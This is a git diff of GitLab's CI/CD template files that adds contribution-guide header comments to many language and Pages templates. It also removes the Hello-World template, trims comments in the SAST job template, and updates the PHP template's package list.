diff --git a/lib/gitlab/ci/templates/Chef.gitlab-ci.yml b/lib/gitlab/ci/templates/Chef.gitlab-ci.yml
index d879e27dfcb..f166da9bdd6 100644
--- a/lib/gitlab/ci/templates/Chef.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Chef.gitlab-ci.yml
@@ -1,4 +1,9 @@
-# This file uses Test Kitchen with the kitchen-dokken driver to
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Chef.gitlab-ci.yml
+
+# This template uses Test Kitchen with the kitchen-dokken driver to
# perform functional testing. Doing so requires that your runner be a
# Docker runner configured for privileged mode. Please see
# https://docs.gitlab.com/runner/executors/docker.html#use-docker-in-docker-with-privileged-mode
diff --git a/lib/gitlab/ci/templates/Clojure.gitlab-ci.yml b/lib/gitlab/ci/templates/Clojure.gitlab-ci.yml
index 0c5850bdb8e..0f9e28c9a8e 100644
--- a/lib/gitlab/ci/templates/Clojure.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Clojure.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Clojure.gitlab-ci.yml
+
# Based on openjdk:8, already includes lein
image: clojure:lein-2.7.0
# If you need to configure a database, add a `services` section here
diff --git a/lib/gitlab/ci/templates/Composer.gitlab-ci.yml b/lib/gitlab/ci/templates/Composer.gitlab-ci.yml
index 5d9c68d3031..911acf8aff2 100644
--- a/lib/gitlab/ci/templates/Composer.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Composer.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Composer.gitlab-ci.yml
+
# Publishes a tag/branch to Composer Packages of the current project
publish:
image: curlimages/curl:latest
diff --git a/lib/gitlab/ci/templates/Crystal.gitlab-ci.yml b/lib/gitlab/ci/templates/Crystal.gitlab-ci.yml
index 538f96c4084..856a097e6e0 100644
--- a/lib/gitlab/ci/templates/Crystal.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Crystal.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Crystal.gitlab-ci.yml
+
# Official language image. Look for the different tagged releases at:
# https://hub.docker.com/r/crystallang/crystal/
image: "crystallang/crystal:latest"
diff --git a/lib/gitlab/ci/templates/Dart.gitlab-ci.yml b/lib/gitlab/ci/templates/Dart.gitlab-ci.yml
index cc383f89b0c..a50e722f18a 100644
--- a/lib/gitlab/ci/templates/Dart.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Dart.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Dart.gitlab-ci.yml
+
# https://hub.docker.com/r/google/dart
image: google/dart:2.8.4
diff --git a/lib/gitlab/ci/templates/Django.gitlab-ci.yml b/lib/gitlab/ci/templates/Django.gitlab-ci.yml
index c657c7e8eb1..d2d3b3ed61e 100644
--- a/lib/gitlab/ci/templates/Django.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Django.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Django.gitlab-ci.yml
+
# Official framework image. Look for the different tagged releases at:
# https://hub.docker.com/r/library/python
image: python:latest
diff --git a/lib/gitlab/ci/templates/Docker.gitlab-ci.yml b/lib/gitlab/ci/templates/Docker.gitlab-ci.yml
index d0c63ab6edf..8f5f0e2c451 100644
--- a/lib/gitlab/ci/templates/Docker.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Docker.gitlab-ci.yml
@@ -1,8 +1,14 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Docker.gitlab-ci.yml
+
# Build a Docker image with CI/CD and push to the GitLab registry.
# Docker-in-Docker documentation: https://docs.gitlab.com/ee/ci/docker/using_docker_build.html
#
# This template uses one generic job with conditional builds
# for the default branch and all other (MR) branches.
+
docker-build:
# Use the official docker image.
image: docker:latest
diff --git a/lib/gitlab/ci/templates/Elixir.gitlab-ci.yml b/lib/gitlab/ci/templates/Elixir.gitlab-ci.yml
index 7271526ab1b..1ceaf9fc86b 100644
--- a/lib/gitlab/ci/templates/Elixir.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Elixir.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Elixir.gitlab-ci.yml
+
image: elixir:latest
# Pick zero or more services to be used on all builds.
diff --git a/lib/gitlab/ci/templates/Flutter.gitlab-ci.yml b/lib/gitlab/ci/templates/Flutter.gitlab-ci.yml
index 504ece611ca..d176ce19299 100644
--- a/lib/gitlab/ci/templates/Flutter.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Flutter.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Flutter.gitlab-ci.yml
+
code_quality:
stage: test
image: "cirrusci/flutter:1.22.5"
diff --git a/lib/gitlab/ci/templates/Getting-Started.gitlab-ci.yml b/lib/gitlab/ci/templates/Getting-Started.gitlab-ci.yml
index 07d0de5f9e5..38036c1f964 100644
--- a/lib/gitlab/ci/templates/Getting-Started.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Getting-Started.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Getting-Started.gitlab-ci.yml
+
# This is a sample GitLab CI/CD configuration file that should run without any modifications.
# It demonstrates a basic 3 stage CI/CD pipeline. Instead of real tests or scripts,
# it uses echo commands to simulate the pipeline execution.
diff --git a/lib/gitlab/ci/templates/Go.gitlab-ci.yml b/lib/gitlab/ci/templates/Go.gitlab-ci.yml
index 1b686bc6cc0..b5dd0005013 100644
--- a/lib/gitlab/ci/templates/Go.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Go.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Go.gitlab-ci.yml
+
image: golang:latest
variables:
diff --git a/lib/gitlab/ci/templates/Gradle.gitlab-ci.yml b/lib/gitlab/ci/templates/Gradle.gitlab-ci.yml
index cbf4d58bdad..76f0c9f8427 100644
--- a/lib/gitlab/ci/templates/Gradle.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Gradle.gitlab-ci.yml
@@ -1,6 +1,12 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Gradle.gitlab-ci.yml
+
# This is the Gradle build system for JVM applications
# https://gradle.org/
# https://github.com/gradle/gradle
+
image: gradle:alpine
# Disable the Gradle daemon for Continuous Integration servers as correctness
diff --git a/lib/gitlab/ci/templates/Grails.gitlab-ci.yml b/lib/gitlab/ci/templates/Grails.gitlab-ci.yml
index efcd1d3ddc0..3c514d7b0c6 100644
--- a/lib/gitlab/ci/templates/Grails.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Grails.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Grails.gitlab-ci.yml
+
# This template uses the java:8 docker image because there isn't any
# official Grails image at this moment
#
diff --git a/lib/gitlab/ci/templates/Hello-World.gitlab-ci.yml b/lib/gitlab/ci/templates/Hello-World.gitlab-ci.yml
deleted file mode 100644
index 90812083917..00000000000
--- a/lib/gitlab/ci/templates/Hello-World.gitlab-ci.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-# This file is a template demonstrating the `script` keyword.
-# Learn more about this keyword here: https://docs.gitlab.com/ee/ci/yaml/README.html#script
-
-# After committing this template, visit CI/CD > Jobs to see the script output.
-
-job:
- script:
- # provide a shell script as argument for this keyword.
- - echo "Hello World"
diff --git a/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml
index 6af79728dc8..80125a9bc01 100644
--- a/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml
@@ -1,6 +1,6 @@
# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/sast/
#
-# Configure SAST with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# Configure SAST with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/index.html).
# List of available variables: https://docs.gitlab.com/ee/user/application_security/sast/index.html#available-variables
variables:
@@ -38,9 +38,6 @@ bandit-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/bandit:$SAST_ANALYZER_IMAGE_TAG"
rules:
@@ -57,9 +54,6 @@ brakeman-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/brakeman:$SAST_ANALYZER_IMAGE_TAG"
rules:
@@ -77,9 +71,6 @@ eslint-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/eslint:$SAST_ANALYZER_IMAGE_TAG"
rules:
@@ -100,9 +91,6 @@ flawfinder-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/flawfinder:$SAST_ANALYZER_IMAGE_TAG"
rules:
@@ -120,9 +108,6 @@ kubesec-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/kubesec:$SAST_ANALYZER_IMAGE_TAG"
rules:
@@ -138,9 +123,6 @@ gosec-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 3
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/gosec:$SAST_ANALYZER_IMAGE_TAG"
rules:
@@ -157,9 +139,6 @@ gosec-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/mobsf:$SAST_ANALYZER_IMAGE_TAG"
@@ -194,9 +173,6 @@ nodejs-scan-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/nodejs-scan:$SAST_ANALYZER_IMAGE_TAG"
rules:
@@ -213,9 +189,6 @@ phpcs-security-audit-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/phpcs-security-audit:$SAST_ANALYZER_IMAGE_TAG"
rules:
@@ -232,9 +205,6 @@ pmd-apex-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/pmd-apex:$SAST_ANALYZER_IMAGE_TAG"
rules:
@@ -251,9 +221,6 @@ security-code-scan-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/security-code-scan:$SAST_ANALYZER_IMAGE_TAG"
rules:
@@ -271,9 +238,6 @@ semgrep-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/semgrep:$SAST_ANALYZER_IMAGE_TAG"
rules:
@@ -294,9 +258,6 @@ sobelow-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/sobelow:$SAST_ANALYZER_IMAGE_TAG"
rules:
@@ -313,9 +274,6 @@ spotbugs-sast:
image:
name: "$SAST_ANALYZER_IMAGE"
variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
SAST_ANALYZER_IMAGE_TAG: 2
SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/spotbugs:$SAST_ANALYZER_IMAGE_TAG"
rules:
diff --git a/lib/gitlab/ci/templates/Julia.gitlab-ci.yml b/lib/gitlab/ci/templates/Julia.gitlab-ci.yml
index be0efc9180b..4687a07d05b 100644
--- a/lib/gitlab/ci/templates/Julia.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Julia.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Julia.gitlab-ci.yml
+
# This is an example .gitlab-ci.yml file to test (and optionally report the coverage
# results of) your [Julia][1] packages. Please refer to the [documentation][2]
# for more information about package development in Julia.
diff --git a/lib/gitlab/ci/templates/LaTeX.gitlab-ci.yml b/lib/gitlab/ci/templates/LaTeX.gitlab-ci.yml
index e4ed7fadfaa..1bc258d30c4 100644
--- a/lib/gitlab/ci/templates/LaTeX.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/LaTeX.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/LaTeX.gitlab-ci.yml
+
---
variables:
# Feel free to choose the image that suits you best.
diff --git a/lib/gitlab/ci/templates/Laravel.gitlab-ci.yml b/lib/gitlab/ci/templates/Laravel.gitlab-ci.yml
index 5d2c8024524..43e4ac02d41 100644
--- a/lib/gitlab/ci/templates/Laravel.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Laravel.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Laravel.gitlab-ci.yml
+
# Official framework image. Look for the different tagged releases at:
# https://hub.docker.com/r/library/php
image: php:latest
diff --git a/lib/gitlab/ci/templates/Maven.gitlab-ci.yml b/lib/gitlab/ci/templates/Maven.gitlab-ci.yml
index 97d0f611f47..dfa46d7af61 100644
--- a/lib/gitlab/ci/templates/Maven.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Maven.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Maven.gitlab-ci.yml
+
# Build JAVA applications using Apache Maven (http://maven.apache.org)
# For docker image tags see https://hub.docker.com/_/maven/
#
diff --git a/lib/gitlab/ci/templates/Mono.gitlab-ci.yml b/lib/gitlab/ci/templates/Mono.gitlab-ci.yml
index 36fe27f54c2..2f214347ec3 100644
--- a/lib/gitlab/ci/templates/Mono.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Mono.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Mono.gitlab-ci.yml
+
# This is a simple gitlab continuous integration template (compatible with the shared runner provided on gitlab.com)
# using the official mono docker image to build a visual studio project.
#
diff --git a/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml b/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml
index 92379ded77c..e48801b7970 100644
--- a/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml
+
# Official framework image. Look for the different tagged releases at:
# https://hub.docker.com/r/library/node/tags/
image: node:latest
diff --git a/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml b/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml
index 45bddb1bc6a..7c8bbe464af 100644
--- a/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml
+
image: openshift/origin-cli
stages:
diff --git a/lib/gitlab/ci/templates/PHP.gitlab-ci.yml b/lib/gitlab/ci/templates/PHP.gitlab-ci.yml
index 84e8223e69b..281bf7e3dd9 100644
--- a/lib/gitlab/ci/templates/PHP.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/PHP.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/PHP.gitlab-ci.yml
+
# Select image from https://hub.docker.com/_/php/
image: php:latest
@@ -8,9 +13,9 @@ cache:
before_script:
- apt-get update -yqq
- - apt-get install -yqq git libmcrypt-dev libpq-dev libcurl4-gnutls-dev libicu-dev libvpx-dev libjpeg-dev libpng-dev libxpm-dev zlib1g-dev libfreetype6-dev libxml2-dev libexpat1-dev libbz2-dev libgmp3-dev libldap2-dev unixodbc-dev libsqlite3-dev libaspell-dev libsnmp-dev libpcre3-dev libtidy-dev
+ - apt-get install -yqq git libpq-dev libcurl4-gnutls-dev libicu-dev libvpx-dev libjpeg-dev libpng-dev libxpm-dev zlib1g-dev libfreetype6-dev libxml2-dev libexpat1-dev libbz2-dev libgmp3-dev libldap2-dev unixodbc-dev libsqlite3-dev libaspell-dev libsnmp-dev libpcre3-dev libtidy-dev libonig-dev libzip-dev
# Install PHP extensions
- - docker-php-ext-install mbstring mcrypt pdo_pgsql curl json intl gd xml zip bz2 opcache
+ - docker-php-ext-install mbstring pdo_pgsql curl intl gd xml zip bz2 opcache
# Install & enable Xdebug for code coverage reports
- pecl install xdebug
- docker-php-ext-enable xdebug
diff --git a/lib/gitlab/ci/templates/Packer.gitlab-ci.yml b/lib/gitlab/ci/templates/Packer.gitlab-ci.yml
index 0b03ba6c3d8..3db712c6dc5 100644
--- a/lib/gitlab/ci/templates/Packer.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Packer.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Packer.gitlab-ci.yml
+
image:
name: hashicorp/packer:latest
entrypoint:
diff --git a/lib/gitlab/ci/templates/Pages/Brunch.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Brunch.gitlab-ci.yml
index 90cd8472916..55cf22b6601 100644
--- a/lib/gitlab/ci/templates/Pages/Brunch.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Brunch.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Brunch.gitlab-ci.yml
+
# Full project: https://gitlab.com/pages/brunch
image: node:4.2.2
diff --git a/lib/gitlab/ci/templates/Pages/Doxygen.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Doxygen.gitlab-ci.yml
index 7435afef572..2f518d667a5 100644
--- a/lib/gitlab/ci/templates/Pages/Doxygen.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Doxygen.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Doxygen.gitlab-ci.yml
+
# Full project: https://gitlab.com/pages/doxygen
image: alpine
diff --git a/lib/gitlab/ci/templates/Pages/Gatsby.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Gatsby.gitlab-ci.yml
index 708c5063cc6..d3726fe34c5 100644
--- a/lib/gitlab/ci/templates/Pages/Gatsby.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Gatsby.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Gatsby.gitlab-ci.yml
+
image: node:latest
# This folder is cached between builds
diff --git a/lib/gitlab/ci/templates/Pages/HTML.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/HTML.gitlab-ci.yml
index 694446dd6c9..17ed1d2e87f 100644
--- a/lib/gitlab/ci/templates/Pages/HTML.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/HTML.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/HTML.gitlab-ci.yml
+
# Full project: https://gitlab.com/pages/plain-html
pages:
stage: deploy
diff --git a/lib/gitlab/ci/templates/Pages/Harp.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Harp.gitlab-ci.yml
index a2fd6620909..9e48ac9fcdc 100644
--- a/lib/gitlab/ci/templates/Pages/Harp.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Harp.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Harp.gitlab-ci.yml
+
# Full project: https://gitlab.com/pages/harp
image: node:4.2.2
diff --git a/lib/gitlab/ci/templates/Pages/Hexo.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Hexo.gitlab-ci.yml
index fd75e47e899..a6f94a4d80e 100644
--- a/lib/gitlab/ci/templates/Pages/Hexo.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Hexo.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Hexo.gitlab-ci.yml
+
# Full project: https://gitlab.com/pages/hexo
image: node:10.15.3
diff --git a/lib/gitlab/ci/templates/Pages/Hugo.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Hugo.gitlab-ci.yml
index a6a605e35f0..cfc4a1d904a 100644
--- a/lib/gitlab/ci/templates/Pages/Hugo.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Hugo.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Hugo.gitlab-ci.yml
+
---
# All available Hugo versions are listed here:
# https://gitlab.com/pages/hugo/container_registry
diff --git a/lib/gitlab/ci/templates/Pages/Hyde.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Hyde.gitlab-ci.yml
index 1be2f4bad76..59e55efaee0 100644
--- a/lib/gitlab/ci/templates/Pages/Hyde.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Hyde.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Hyde.gitlab-ci.yml
+
# Full project: https://gitlab.com/pages/hyde
image: python:2.7
diff --git a/lib/gitlab/ci/templates/Pages/JBake.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/JBake.gitlab-ci.yml
